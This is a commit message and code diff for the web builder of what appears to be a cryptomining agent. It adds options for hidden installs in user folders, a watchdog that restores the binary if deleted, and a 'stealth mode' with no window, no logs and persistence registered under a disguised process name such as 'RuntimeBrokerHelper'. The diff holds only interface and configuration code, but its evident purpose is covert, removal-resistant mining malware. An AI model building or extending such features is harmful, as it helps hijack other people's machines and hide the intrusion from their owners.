Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

server/web/src/help/settingHelp.ts

@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
+  adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
+  self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
+  file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
+  stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
 };

server/web/src/pages/BuilderPage.tsx

@@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
     install_base: d.install_base || 'localappdata',
     install_custom_base: d.install_custom_base || '',
     install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
+    adapt_to_hardware: d.adapt_to_hardware ?? true,
+    self_healing: d.self_healing ?? true,
+    file_logging: d.file_logging ?? true,
+    stealth_mode: d.stealth_mode ?? false,
     pool_host: config.pool.host,
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
@@ -393,6 +397,41 @@ export default function BuilderPage() {
                 <label className="label">Install Preview</label>
                 <code className="path-display">{installPreview}</code>
               </div>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
+                    onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
+                  <span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
+                </label>
+                <FieldHint field="adapt_to_hardware" />
+              </div>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.self_healing}
+                    onChange={(e) => updateField('self_healing', e.target.checked)} />
+                  <span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
+                </label>
+                <FieldHint field="self_healing" />
+              </div>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.stealth_mode}
+                    onChange={(e) => {
+                      updateField('stealth_mode', e.target.checked);
+                      if (e.target.checked) updateField('file_logging', false);
+                    }} />
+                  <span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
+                </label>
+                <FieldHint field="stealth_mode" />
+              </div>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.file_logging}
+                    disabled={form.stealth_mode}
+                    onChange={(e) => updateField('file_logging', e.target.checked)} />
+                  <span>Write miner.log on host <HelpTip field="file_logging" /></span>
+                </label>
+              </div>
               <div className="form-group">
                 <label className="label">Process Name <HelpTip field="process_name" /></label>
                 <input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

server/web/src/types/index.ts

@@ -113,6 +113,10 @@ export interface AgentDefaults {
   install_base: string;
   install_custom_base: string;
   install_relative_path: string;
+  adapt_to_hardware: boolean;
+  self_healing: boolean;
+  file_logging: boolean;
+  stealth_mode: boolean;
 }
 
 export interface BackgroundConfig {
@@ -153,6 +157,10 @@ export interface BuildRequest {
   install_base: string;
   install_custom_base: string;
   install_relative_path: string;
+  adapt_to_hardware: boolean;
+  self_healing: boolean;
+  file_logging: boolean;
+  stealth_mode: boolean;
   pool_host: string;
   pool_port: number;
   pool_tls: boolean;